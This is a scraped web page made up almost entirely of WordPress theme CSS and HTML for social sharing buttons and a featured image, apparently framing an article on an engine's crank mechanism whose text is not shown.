.td-social-copy_url-check{opacity:1}@keyframes social_copy_url_loader{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.td-social-expand-tabs i{top:-2px;left:-1px;font-size:16px}@media (min-width:767px){.td-social-line,.td-social-viber{display:none}}.td-ps-bg .td-social-network{color:#fff}.td-ps-bg .td-social-facebook .td-social-but-icon,.td-ps-bg .td-social-facebook .td-social-but-text{background-color:#516eab}.td-ps-bg .td-social-twitter .td-social-but-icon,.td-ps-bg .td-social-twitter .td-social-but-text{background-color:#29c5f6}.td-ps-bg .td-social-pinterest .td-social-but-icon,.td-ps-bg .td-social-pinterest .td-social-but-text{background-color:#ca212a}.td-ps-bg .td-social-whatsapp .td-social-but-icon,.td-ps-bg .td-social-whatsapp .td-social-but-text{background-color:#7bbf6a}.td-ps-bg .td-social-reddit .td-social-but-icon,.td-ps-bg .td-social-reddit .td-social-but-text{background-color:#f54200}.td-ps-bg .td-social-mail .td-social-but-icon,.td-ps-bg .td-social-digg .td-social-but-icon,.td-ps-bg .td-social-copy_url .td-social-but-icon,.td-ps-bg .td-social-mail .td-social-but-text,.td-ps-bg .td-social-digg .td-social-but-text,.td-ps-bg .td-social-copy_url .td-social-but-text{background-color:#000}.td-ps-bg .td-social-print .td-social-but-icon,.td-ps-bg .td-social-print .td-social-but-text{background-color:#333}.td-ps-bg .td-social-linkedin .td-social-but-icon,.td-ps-bg .td-social-linkedin .td-social-but-text{background-color:#0266a0}.td-ps-bg .td-social-tumblr .td-social-but-icon,.td-ps-bg .td-social-tumblr .td-social-but-text{background-color:#3e5a70}.td-ps-bg .td-social-telegram .td-social-but-icon,.td-ps-bg .td-social-telegram .td-social-but-text{background-color:#179cde}.td-ps-bg .td-social-stumbleupon .td-social-but-icon,.td-ps-bg .td-social-stumbleupon .td-social-but-text{background-color:#ee4813}.td-ps-bg .td-social-vk .td-social-but-icon,.td-ps-bg .td-social-vk .td-social-but-text{background-color:#4c75a3}.td-ps-bg .td-social-line .td-social-but-icon,.td-ps-bg .td-social-line .td-social-but-text{background-color:#00b900}.td-ps-bg .td-social-viber .td-social-but-icon,.td-ps-bg .td-social-viber .td-social-but-text{background-color:#5d54a4}.td-ps-bg .td-social-naver .td-social-but-icon,.td-ps-bg .td-social-naver .td-social-but-text{background-color:#3ec729}.td-ps-bg .td-social-flipboard .td-social-but-icon,.td-ps-bg .td-social-flipboard .td-social-but-text{background-color:#f42827}.td-ps-bg .td-social-kakao .td-social-but-icon,.td-ps-bg .td-social-kakao .td-social-but-text{background-color:#f9e000}.td-ps-bg .td-social-gettr .td-social-but-icon,.td-ps-bg .td-social-gettr .td-social-but-text{background-color:#fc223b}.td-ps-bg .td-social-koo .td-social-but-icon,.td-ps-bg .td-social-koo .td-social-but-text{background-color:#facd00}.td-ps-dark-bg .td-social-network{color:#fff}.td-ps-dark-bg .td-social-network .td-social-but-icon,.td-ps-dark-bg .td-social-network .td-social-but-text{background-color:#000}.td-ps-border .td-social-network .td-social-but-icon,.td-ps-border .td-social-network .td-social-but-text{line-height:38px;border-width:1px;border-style:solid}.td-ps-border .td-social-network .td-social-but-text{border-left-width:0}.td-ps-border .td-social-network .td-social-but-text:before{background-color:#000;opacity:0.08}.td-ps-border.td-ps-padding .td-social-network .td-social-but-icon{border-right-width:0}.td-ps-border.td-ps-padding .td-social-network.td-social-expand-tabs .td-social-but-icon{border-right-width:1px}.td-ps-border-grey .td-social-but-icon,.td-ps-border-grey .td-social-but-text{border-color:#e9e9e9}.td-ps-border-colored .td-social-facebook .td-social-but-icon,.td-ps-border-colored .td-social-facebook .td-social-but-text{border-color:#516eab}.td-ps-border-colored .td-social-twitter .td-social-but-icon,div.td-ps-border-colored .td-social-twitter .td-social-but-text{border-color:#29c5f6;color:#29c5f6}.td-ps-border-colored .td-social-pinterest .td-social-but-icon,.td-ps-border-colored .td-social-pinterest .td-social-but-text{border-color:#ca212a}.td-ps-border-colored .td-social-whatsapp .td-social-but-icon,.td-ps-border-colored .td-social-whatsapp .td-social-but-text{border-color:#7bbf6a}.td-ps-border-colored .td-social-reddit .td-social-but-icon,.td-ps-border-colored .td-social-reddit .td-social-but-text{border-color:#f54200}.td-ps-border-colored .td-social-mail .td-social-but-icon,.td-ps-border-colored .td-social-digg .td-social-but-icon,.td-ps-border-colored .td-social-copy_url .td-social-but-icon,.td-ps-border-colored .td-social-mail .td-social-but-text,.td-ps-border-colored .td-social-digg .td-social-but-text,.td-ps-border-colored .td-social-copy_url .td-social-but-text{border-color:#000}.td-ps-border-colored .td-social-print .td-social-but-icon,.td-ps-border-colored .td-social-print .td-social-but-text{border-color:#333}.td-ps-border-colored .td-social-linkedin .td-social-but-icon,.td-ps-border-colored .td-social-linkedin .td-social-but-text{border-color:#0266a0}.td-ps-border-colored .td-social-tumblr .td-social-but-icon,.td-ps-border-colored .td-social-tumblr .td-social-but-text{border-color:#3e5a70}.td-ps-border-colored .td-social-telegram .td-social-but-icon,.td-ps-border-colored .td-social-telegram .td-social-but-text{border-color:#179cde}.td-ps-border-colored .td-social-stumbleupon .td-social-but-icon,.td-ps-border-colored .td-social-stumbleupon .td-social-but-text{border-color:#ee4813}.td-ps-border-colored .td-social-vk .td-social-but-icon,.td-ps-border-colored .td-social-vk .td-social-but-text{border-color:#4c75a3}.td-ps-border-colored .td-social-line .td-social-but-icon,.td-ps-border-colored .td-social-line .td-social-but-text{border-color:#00b900}.td-ps-border-colored .td-social-viber .td-social-but-icon,.td-ps-border-colored .td-social-viber .td-social-but-text{border-color:#5d54a4}.td-ps-border-colored .td-social-naver .td-social-but-icon,.td-ps-border-colored .td-social-naver .td-social-but-text{border-color:#3ec729}.td-ps-border-colored .td-social-flipboard .td-social-but-icon,.td-ps-border-colored .td-social-flipboard .td-social-but-text{border-color:#f42827}.td-ps-border-colored .td-social-kakao .td-social-but-icon,.td-ps-border-colored .td-social-kakao .td-social-but-text{border-color:#f9e000}.td-ps-border-colored .td-social-gettr .td-social-but-icon,.td-ps-border-colored .td-social-gettr .td-social-but-text{border-color:#fc223b}.td-ps-border-colored .td-social-koo .td-social-but-icon,.td-ps-border-colored .td-social-koo .td-social-but-text{border-color:#facd00}.td-ps-icon-bg .td-social-but-icon{height:100%;border-color:transparent!important}.td-ps-icon-bg .td-social-network .td-social-but-icon{color:#fff}.td-ps-icon-bg .td-social-facebook .td-social-but-icon{background-color:#516eab}.td-ps-icon-bg .td-social-twitter .td-social-but-icon{background-color:#29c5f6}.td-ps-icon-bg .td-social-pinterest .td-social-but-icon{background-color:#ca212a}.td-ps-icon-bg .td-social-whatsapp .td-social-but-icon{background-color:#7bbf6a}.td-ps-icon-bg .td-social-reddit .td-social-but-icon{background-color:#f54200}.td-ps-icon-bg .td-social-mail .td-social-but-icon,.td-ps-icon-bg .td-social-digg .td-social-but-icon,.td-ps-icon-bg .td-social-copy_url .td-social-but-icon{background-color:#000}.td-ps-icon-bg .td-social-print .td-social-but-icon{background-color:#333}.td-ps-icon-bg .td-social-linkedin .td-social-but-icon{background-color:#0266a0}.td-ps-icon-bg .td-social-tumblr .td-social-but-icon{background-color:#3e5a70}.td-ps-icon-bg .td-social-telegram .td-social-but-icon{background-color:#179cde}.td-ps-icon-bg .td-social-stumbleupon .td-social-but-icon{background-color:#ee4813}.td-ps-icon-bg .td-social-vk .td-social-but-icon{background-color:#4c75a3}.td-ps-icon-bg .td-social-line .td-social-but-icon{background-color:#00b900}.td-ps-icon-bg .td-social-viber .td-social-but-icon{background-color:#5d54a4}.td-ps-icon-bg .td-social-naver .td-social-but-icon{background-color:#3ec729}.td-ps-icon-bg .td-social-flipboard .td-social-but-icon{background-color:#f42827}.td-ps-icon-bg .td-social-kakao .td-social-but-icon{background-color:#f9e000}.td-ps-icon-bg .td-social-gettr .td-social-but-icon{background-color:#fc223b}.td-ps-icon-bg .td-social-koo .td-social-but-icon{background-color:#facd00}.td-ps-icon-bg .td-social-but-text{margin-left:-3px}.td-ps-icon-bg .td-social-network .td-social-but-text:before{display:none}.td-ps-icon-arrow .td-social-network .td-social-but-icon:after{content:'';position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);left:calc(100% + 1px);width:0;height:0;border-style:solid;border-width:9px 0 9px 11px;border-color:transparent transparent transparent #000}.td-ps-icon-arrow .td-social-network .td-social-but-text{padding-left:20px}.td-ps-icon-arrow .td-social-network .td-social-but-text:before{display:none}.td-ps-icon-arrow.td-ps-padding .td-social-network .td-social-but-icon:after{left:100%}.td-ps-icon-arrow .td-social-facebook .td-social-but-icon:after{border-left-color:#516eab}.td-ps-icon-arrow .td-social-twitter .td-social-but-icon:after{border-left-color:#29c5f6}.td-ps-icon-arrow .td-social-pinterest .td-social-but-icon:after{border-left-color:#ca212a}.td-ps-icon-arrow .td-social-whatsapp .td-social-but-icon:after{border-left-color:#7bbf6a}.td-ps-icon-arrow .td-social-reddit .td-social-but-icon:after{border-left-color:#f54200}.td-ps-icon-arrow .td-social-mail .td-social-but-icon:after,.td-ps-icon-arrow .td-social-digg .td-social-but-icon:after,.td-ps-icon-arrow .td-social-copy_url .td-social-but-icon:after{border-left-color:#000}.td-ps-icon-arrow .td-social-print .td-social-but-icon:after{border-left-color:#333}.td-ps-icon-arrow .td-social-linkedin .td-social-but-icon:after{border-left-color:#0266a0}.td-ps-icon-arrow .td-social-tumblr .td-social-but-icon:after{border-left-color:#3e5a70}.td-ps-icon-arrow .td-social-telegram .td-social-but-icon:after{border-left-color:#179cde}.td-ps-icon-arrow .td-social-stumbleupon .td-social-but-icon:after{border-left-color:#ee4813}.td-ps-icon-arrow .td-social-vk .td-social-but-icon:after{border-left-color:#4c75a3}.td-ps-icon-arrow .td-social-line .td-social-but-icon:after{border-left-color:#00b900}.td-ps-icon-arrow .td-social-viber .td-social-but-icon:after{border-left-color:#5d54a4}.td-ps-icon-arrow .td-social-naver .td-social-but-icon:after{border-left-color:#3ec729}.td-ps-icon-arrow .td-social-flipboard .td-social-but-icon:after{border-left-color:#f42827}.td-ps-icon-arrow .td-social-kakao .td-social-but-icon:after{border-left-color:#f9e000}.td-ps-icon-arrow .td-social-gettr .td-social-but-icon:after{border-left-color:#fc223b}.td-ps-icon-arrow .td-social-koo .td-social-but-icon:after{border-left-color:#facd00}.td-ps-icon-arrow .td-social-expand-tabs .td-social-but-icon:after{display:none}.td-ps-icon-color .td-social-facebook .td-social-but-icon{color:#516eab}.td-ps-icon-color .td-social-pinterest .td-social-but-icon{color:#ca212a}.td-ps-icon-color .td-social-whatsapp .td-social-but-icon{color:#7bbf6a}.td-ps-icon-color .td-social-reddit .td-social-but-icon{color:#f54200}.td-ps-icon-color .td-social-mail .td-social-but-icon,.td-ps-icon-color .td-social-digg .td-social-but-icon,.td-ps-icon-color .td-social-copy_url .td-social-but-icon,.td-ps-icon-color .td-social-copy_url-check,.td-ps-icon-color .td-social-twitter .td-social-but-icon{color:#000}.td-ps-icon-color .td-social-print .td-social-but-icon{color:#333}.td-ps-icon-color .td-social-linkedin .td-social-but-icon{color:#0266a0}.td-ps-icon-color .td-social-tumblr .td-social-but-icon{color:#3e5a70}.td-ps-icon-color .td-social-telegram .td-social-but-icon{color:#179cde}.td-ps-icon-color .td-social-stumbleupon .td-social-but-icon{color:#ee4813}.td-ps-icon-color .td-social-vk .td-social-but-icon{color:#4c75a3}.td-ps-icon-color .td-social-line .td-social-but-icon{color:#00b900}.td-ps-icon-color .td-social-viber .td-social-but-icon{color:#5d54a4}.td-ps-icon-color .td-social-naver .td-social-but-icon{color:#3ec729}.td-ps-icon-color .td-social-flipboard .td-social-but-icon{color:#f42827}.td-ps-icon-color .td-social-kakao .td-social-but-icon{color:#f9e000}.td-ps-icon-color .td-social-gettr .td-social-but-icon{color:#fc223b}.td-ps-icon-color .td-social-koo .td-social-but-icon{color:#facd00}.td-ps-text-color .td-social-but-text{font-weight:700}.td-ps-text-color .td-social-facebook .td-social-but-text{color:#516eab}.td-ps-text-color .td-social-twitter .td-social-but-text{color:#29c5f6}.td-ps-text-color .td-social-pinterest .td-social-but-text{color:#ca212a}.td-ps-text-color .td-social-whatsapp .td-social-but-text{color:#7bbf6a}.td-ps-text-color .td-social-reddit .td-social-but-text{color:#f54200}.td-ps-text-color .td-social-mail .td-social-but-text,.td-ps-text-color .td-social-digg .td-social-but-text,.td-ps-text-color .td-social-copy_url .td-social-but-text{color:#000}.td-ps-text-color .td-social-print .td-social-but-text{color:#333}.td-ps-text-color .td-social-linkedin .td-social-but-text{color:#0266a0}.td-ps-text-color .td-social-tumblr .td-social-but-text{color:#3e5a70}.td-ps-text-color .td-social-telegram .td-social-but-text{color:#179cde}.td-ps-text-color .td-social-stumbleupon .td-social-but-text{color:#ee4813}.td-ps-text-color .td-social-vk .td-social-but-text{color:#4c75a3}.td-ps-text-color .td-social-line .td-social-but-text{color:#00b900}.td-ps-text-color .td-social-viber .td-social-but-text{color:#5d54a4}.td-ps-text-color .td-social-naver .td-social-but-text{color:#3ec729}.td-ps-text-color .td-social-flipboard .td-social-but-text{color:#f42827}.td-ps-text-color .td-social-kakao .td-social-but-text{color:#f9e000}.td-ps-text-color .td-social-gettr .td-social-but-text{color:#fc223b}.td-ps-text-color .td-social-koo .td-social-but-text{color:#facd00}.td-ps-text-color .td-social-expand-tabs .td-social-but-text{color:#b1b1b1}.td-ps-notext .td-social-but-icon{width:40px}.td-ps-notext .td-social-network .td-social-but-text{display:none}.td-ps-padding .td-social-network .td-social-but-icon{padding-left:17px;padding-right:17px}.td-ps-padding .td-social-handler .td-social-but-icon{width:40px}.td-ps-padding .td-social-reddit .td-social-but-icon,.td-ps-padding .td-social-telegram .td-social-but-icon{padding-right:16px}.td-ps-padding .td-social-stumbleupon .td-social-but-icon,.td-ps-padding .td-social-digg .td-social-but-icon,.td-ps-padding .td-social-expand-tabs .td-social-but-icon{padding-right:13px}.td-ps-padding .td-social-vk .td-social-but-icon{padding-right:14px}.td-ps-padding .td-social-expand-tabs .td-social-but-icon{padding-left:13px}.td-ps-rounded .td-social-network .td-social-but-icon{border-top-left-radius:100px;border-bottom-left-radius:100px}.td-ps-rounded .td-social-network .td-social-but-text{border-top-right-radius:100px;border-bottom-right-radius:100px}.td-ps-rounded.td-ps-notext .td-social-network .td-social-but-icon{border-top-right-radius:100px;border-bottom-right-radius:100px}.td-ps-rounded .td-social-expand-tabs{border-radius:100px}.td-ps-bar .td-social-network .td-social-but-icon,.td-ps-bar .td-social-network .td-social-but-text{-webkit-box-shadow:inset 0px -3px 0px 0px rgba(0,0,0,0.31);box-shadow:inset 0px -3px 0px 0px rgba(0,0,0,0.31)}.td-ps-bar .td-social-mail .td-social-but-icon,.td-ps-bar .td-social-digg .td-social-but-icon,.td-ps-bar .td-social-copy_url .td-social-but-icon,.td-ps-bar .td-social-mail .td-social-but-text,.td-ps-bar .td-social-digg .td-social-but-text,.td-ps-bar .td-social-copy_url .td-social-but-text{-webkit-box-shadow:inset 0px -3px 0px 0px rgba(255,255,255,0.28);box-shadow:inset 0px -3px 0px 0px rgba(255,255,255,0.28)}.td-ps-bar .td-social-print .td-social-but-icon,.td-ps-bar .td-social-print .td-social-but-text{-webkit-box-shadow:inset 0px -3px 0px 0px rgba(255,255,255,0.2);box-shadow:inset 0px -3px 0px 0px rgba(255,255,255,0.2)}.td-ps-big .td-social-but-icon{display:block;line-height:60px}.td-ps-big .td-social-but-icon .td-icon-share{width:auto}.td-ps-big .td-social-handler .td-social-but-text:before{display:none}.td-ps-big .td-social-share-text .td-social-but-icon{width:90px}.td-ps-big .td-social-expand-tabs .td-social-but-icon{width:60px}@media (max-width:767px){.td-ps-big .td-social-share-text{display:none}}.td-ps-big .td-social-facebook i,.td-ps-big .td-social-reddit i,.td-ps-big .td-social-mail i,.td-ps-big .td-social-linkedin i,.td-ps-big .td-social-tumblr i,.td-ps-big .td-social-stumbleupon i{margin-top:-2px}.td-ps-big .td-social-facebook i,.td-ps-big .td-social-reddit i,.td-ps-big .td-social-linkedin i,.td-ps-big .td-social-tumblr i,.td-ps-big .td-social-stumbleupon i,.td-ps-big .td-social-vk i,.td-ps-big .td-social-viber i,.td-ps-big .td-social-fliboard i,.td-ps-big .td-social-koo i,.td-ps-big .td-social-share-text i{font-size:22px}.td-ps-big .td-social-telegram i{font-size:24px}.td-ps-big .td-social-mail i,.td-ps-big .td-social-line i,.td-ps-big .td-social-print i{font-size:23px}.td-ps-big .td-social-twitter i,.td-ps-big .td-social-expand-tabs i{font-size:20px}.td-ps-big .td-social-whatsapp i,.td-ps-big .td-social-naver i,.td-ps-big .td-social-flipboard i,.td-ps-big .td-social-kakao i{font-size:26px}.td-ps-big .td-social-pinterest .td-icon-pinterest{font-size:21px}.td-ps-big .td-social-telegram .td-icon-telegram{left:1px}.td-ps-big .td-social-stumbleupon .td-icon-stumbleupon{left:-2px}.td-ps-big .td-social-digg .td-icon-digg{left:-1px;font-size:25px}.td-ps-big .td-social-vk .td-icon-vk{left:-1px}.td-ps-big .td-social-naver .td-icon-naver{left:0}.td-ps-big .td-social-gettr .td-icon-gettr{left:-1px}.td-ps-big .td-social-copy_url .td-icon-copy_url{left:0;font-size:25px}.td-ps-big .td-social-copy_url-check{font-size:18px}.td-ps-big .td-social-but-text{margin-left:0;padding-top:0;padding-left:17px}.td-ps-big.td-ps-notext .td-social-network,.td-ps-big.td-ps-notext .td-social-handler{height:60px}.td-ps-big.td-ps-notext .td-social-network{width:60px}.td-ps-big.td-ps-notext .td-social-network .td-social-but-icon{width:60px}.td-ps-big.td-ps-notext .td-social-share-text .td-social-but-icon{line-height:40px}.td-ps-big.td-ps-notext .td-social-share-text .td-social-but-text{display:block;line-height:1}.td-ps-big.td-ps-padding .td-social-network,.td-ps-big.td-ps-padding .td-social-handler{height:90px;font-size:13px}.td-ps-big.td-ps-padding .td-social-network{min-width:60px}.td-ps-big.td-ps-padding .td-social-but-icon{border-bottom-left-radius:0;border-top-right-radius:2px}.td-ps-big.td-ps-padding.td-ps-bar .td-social-but-icon{-webkit-box-shadow:none;box-shadow:none}.td-ps-big.td-ps-padding .td-social-but-text{display:block;padding-bottom:17px;line-height:1;border-top-left-radius:0;border-top-right-radius:0;border-bottom-left-radius:2px}.td-ps-big.td-ps-padding .td-social-but-text:before{display:none}.td-ps-big.td-ps-padding .td-social-expand-tabs i{line-height:90px}.td-ps-nogap{margin-left:0;margin-right:0}.td-ps-nogap .td-social-network,.td-ps-nogap .td-social-handler{margin-left:0;margin-right:0;border-radius:0}.td-ps-nogap .td-social-network .td-social-but-icon,.td-ps-nogap .td-social-network .td-social-but-text{border-radius:0}.td-ps-nogap .td-social-expand-tabs{border-radius:0}.td-post-sharing-style7 .td-social-network .td-social-but-icon{height:100%}.td-post-sharing-style7 .td-social-network .td-social-but-icon:before{content:'';position:absolute;top:0;left:0;width:100%;height:100%;background-color:rgba(0,0,0,0.31)}.td-post-sharing-style7 .td-social-network .td-social-but-text{padding-left:17px}.td-post-sharing-style7 .td-social-network .td-social-but-text:before{display:none}.td-post-sharing-style7 .td-social-mail .td-social-but-icon:before,.td-post-sharing-style7 .td-social-digg .td-social-but-icon:before,.td-post-sharing-style7 .td-social-copy_url .td-social-but-icon:before{background-color:rgba(255,255,255,0.2)}.td-post-sharing-style7 .td-social-print .td-social-but-icon:before{background-color:rgba(255,255,255,0.1)}@media (max-width:767px){.td-post-sharing-style1 .td-social-share-text .td-social-but-text,.td-post-sharing-style3 .td-social-share-text .td-social-but-text,.td-post-sharing-style5 .td-social-share-text .td-social-but-text,.td-post-sharing-style14 .td-social-share-text .td-social-but-text,.td-post-sharing-style16 .td-social-share-text .td-social-but-text{display:none!important}}@media (max-width:767px){.td-post-sharing-style2 .td-social-share-text,.td-post-sharing-style4 .td-social-share-text,.td-post-sharing-style6 .td-social-share-text,.td-post-sharing-style7 .td-social-share-text,.td-post-sharing-style15 .td-social-share-text,.td-post-sharing-style17 .td-social-share-text,.td-post-sharing-style18 .td-social-share-text,.td-post-sharing-style19 .td-social-share-text,.td-post-sharing-style20 .td-social-share-text{display:none!important}}</style> <div class="td-post-sharing-visible"><div class="td-social-sharing-button td-social-sharing-button-js td-social-handler td-social-share-text"> <div class="td-social-but-icon"><i class="td-icon-share"></i></div> <div class="td-social-but-text">袩芯写械谢懈褌褜褋褟</div> </div><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fwww.sciencedebate2008.com%2Fkrivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya%2F" title="Facebook" ><div class="td-social-but-icon"><i class="td-icon-facebook"></i></div><div class="td-social-but-text">Facebook</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-twitter" href="https://twitter.com/intent/tweet?text=%D0%9A%D1%80%D0%B8%D0%B2%D0%BE%D1%88%D0%B8%D0%BF%D0%BD%D0%BE-%D1%88%D0%B0%D1%82%D1%83%D0%BD%D0%BD%D1%8B%D0%B9+%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%B7%D0%BC+%D0%B4%D0%B2%D0%B8%D0%B3%D0%B0%D1%82%D0%B5%D0%BB%D1%8F+%D0%B2%D0%BD%D1%83%D1%82%D1%80%D0%B5%D0%BD%D0%BD%D0%B5%D0%B3%D0%BE+%D1%81%D0%B3%D0%BE%D1%80%D0%B0%D0%BD%D0%B8%D1%8F&url=https%3A%2F%2Fwww.sciencedebate2008.com%2Fkrivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya%2F&via=Science+Debate" title="Twitter" ><div class="td-social-but-icon"><i class="td-icon-twitter"></i></div><div class="td-social-but-text">Twitter</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-pinterest" href="https://pinterest.com/pin/create/button/?url=https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/&amp;media=https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg&description=%D0%9A%D1%80%D0%B8%D0%B2%D0%BE%D1%88%D0%B8%D0%BF%D0%BD%D0%BE-%D1%88%D0%B0%D1%82%D1%83%D0%BD%D0%BD%D1%8B%D0%B9+%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%B7%D0%BC+%D0%B4%D0%B2%D0%B8%D0%B3%D0%B0%D1%82%D0%B5%D0%BB%D1%8F+%D0%B2%D0%BD%D1%83%D1%82%D1%80%D0%B5%D0%BD%D0%BD%D0%B5%D0%B3%D0%BE+%D1%81%D0%B3%D0%BE%D1%80%D0%B0%D0%BD%D0%B8%D1%8F" title="Pinterest" ><div class="td-social-but-icon"><i class="td-icon-pinterest"></i></div><div class="td-social-but-text">Pinterest</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-whatsapp" href="https://api.whatsapp.com/send?text=%D0%9A%D1%80%D0%B8%D0%B2%D0%BE%D1%88%D0%B8%D0%BF%D0%BD%D0%BE-%D1%88%D0%B0%D1%82%D1%83%D0%BD%D0%BD%D1%8B%D0%B9+%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%B7%D0%BC+%D0%B4%D0%B2%D0%B8%D0%B3%D0%B0%D1%82%D0%B5%D0%BB%D1%8F+%D0%B2%D0%BD%D1%83%D1%82%D1%80%D0%B5%D0%BD%D0%BD%D0%B5%D0%B3%D0%BE+%D1%81%D0%B3%D0%BE%D1%80%D0%B0%D0%BD%D0%B8%D1%8F %0A%0A https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/" title="WhatsApp" ><div class="td-social-but-icon"><i class="td-icon-whatsapp"></i></div><div class="td-social-but-text">WhatsApp</div></a></div><div class="td-social-sharing-hidden"><ul class="td-pulldown-filter-list"></ul><a class="td-social-sharing-button td-social-handler td-social-expand-tabs" href="#" data-block-uid="tdi_62" title="More"> <div class="td-social-but-icon"><i class="td-icon-plus td-social-expand-tabs-icon"></i></div> </a></div></div></div><div class="td_block_wrap tdb_single_featured_image tdi_63 tdb-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_63" > <style>@media (max-width:767px){.tdi_63{margin-right:-20px!important;margin-left:-20px!important}}</style> <style>.tdb_single_featured_image{margin-bottom:26px}.tdb_single_featured_image.tdb-sfi-stretch{opacity:0}.tdb_single_featured_image.tdb-sfi-stretch,.tdb_single_featured_image .tdb-block-inner{-webkit-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out}.tdb_single_featured_image img{display:block;width:100%}.tdb_single_featured_image video{max-width:100%}.tdb_single_featured_image .tdb-caption-text{z-index:1;text-align:left;font-size:11px;font-style:italic;font-weight:normal;line-height:17px;color:#444}.tdb_single_featured_image.tdb-content-horiz-center .tdb-caption-text{text-align:center;left:0;right:0;margin-left:auto;margin-right:auto}.tdb_single_featured_image.tdb-content-horiz-right .tdb-caption-text{text-align:right;left:auto;right:0}.tdb-no-featured-img{background-color:#f1f1f1;width:100%;height:500px}.tdb-no-featured-audio{height:59px}.tdi_63 .td-audio-player{font-size:12px}.tdi_63 .tdb-caption-text{margin:6px 0 0}.tdi_63:hover .tdb-block-inner:before{opacity:0}</style><div class="tdb-block-inner td-fix-index"> <a href="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg" data-caption="" > <img width="696" height="524" class="entry-thumb td-modal-image" src="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya-696x524.jpg" srcset="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya-696x524.jpg 696w, https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya-80x60.jpg 80w, https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya-558x420.jpg 558w, https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg 745w" sizes="(max-width: 696px) 100vw, 696px" alt="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟" title="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟" /> </a></div></div><div class="td_block_wrap tdb_single_content tdi_64 td-pb-border-top td_block_template_1 td-post-content tagdiv-type" data-td-block-uid="tdi_64" > <style>.tdb_single_content{margin-bottom:0;*zoom:1}.tdb_single_content:before,.tdb_single_content:after{display:table;content:'';line-height:0}.tdb_single_content:after{clear:both}.tdb_single_content .tdb-block-inner>*:not(.wp-block-quote):not(.alignwide):not(.alignfull.wp-block-cover.has-parallax):not(.td-a-ad){margin-left:auto;margin-right:auto}.tdb_single_content a{pointer-events:auto}.tdb_single_content .td-spot-id-top_ad .tdc-placeholder-title:before{content:'Article Top Ad'!important}.tdb_single_content .td-spot-id-inline_ad0 .tdc-placeholder-title:before{content:'Article Inline Ad 1'!important}.tdb_single_content .td-spot-id-inline_ad1 .tdc-placeholder-title:before{content:'Article Inline Ad 2'!important}.tdb_single_content .td-spot-id-inline_ad2 .tdc-placeholder-title:before{content:'Article Inline Ad 3'!important}.tdb_single_content .td-spot-id-bottom_ad .tdc-placeholder-title:before{content:'Article Bottom Ad'!important}.tdb_single_content .id_top_ad,.tdb_single_content .id_bottom_ad{clear:both;margin-bottom:21px;text-align:center}.tdb_single_content .id_top_ad img,.tdb_single_content .id_bottom_ad img{margin-bottom:0}.tdb_single_content .id_top_ad .adsbygoogle,.tdb_single_content .id_bottom_ad .adsbygoogle{position:relative}.tdb_single_content .id_ad_content-horiz-left,.tdb_single_content .id_ad_content-horiz-right,.tdb_single_content .id_ad_content-horiz-center{margin-bottom:15px}.tdb_single_content .id_ad_content-horiz-left img,.tdb_single_content .id_ad_content-horiz-right img,.tdb_single_content .id_ad_content-horiz-center img{margin-bottom:0}.tdb_single_content .id_ad_content-horiz-center{text-align:center}.tdb_single_content .id_ad_content-horiz-center img{margin-right:auto;margin-left:auto}.tdb_single_content .id_ad_content-horiz-left{float:left;margin-top:9px;margin-right:21px}.tdb_single_content .id_ad_content-horiz-right{float:right;margin-top:6px;margin-left:21px}.tdb_single_content .tdc-a-ad .tdc-placeholder-title{width:300px;height:250px}.tdb_single_content .tdc-a-ad .tdc-placeholder-title:before{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);margin:auto;display:table;width:100%}.tdb_single_content .tdb-block-inner.td-fix-index{word-break:break-word}@media (max-width:767px){.tdb_single_content .id_ad_content-horiz-left,.tdb_single_content .id_ad_content-horiz-right,.tdb_single_content .id_ad_content-horiz-center{margin:0 auto 26px auto}}@media (max-width:767px){.tdb_single_content .id_ad_content-horiz-left{margin-right:0}}@media (max-width:767px){.tdb_single_content .id_ad_content-horiz-right{margin-left:0}}@media (max-width:767px){.tdb_single_content .td-a-ad{float:none;text-align:center}.tdb_single_content .td-a-ad img{margin-right:auto;margin-left:auto}.tdb_single_content .tdc-a-ad{float:none}}</style><div class="tdb-block-inner 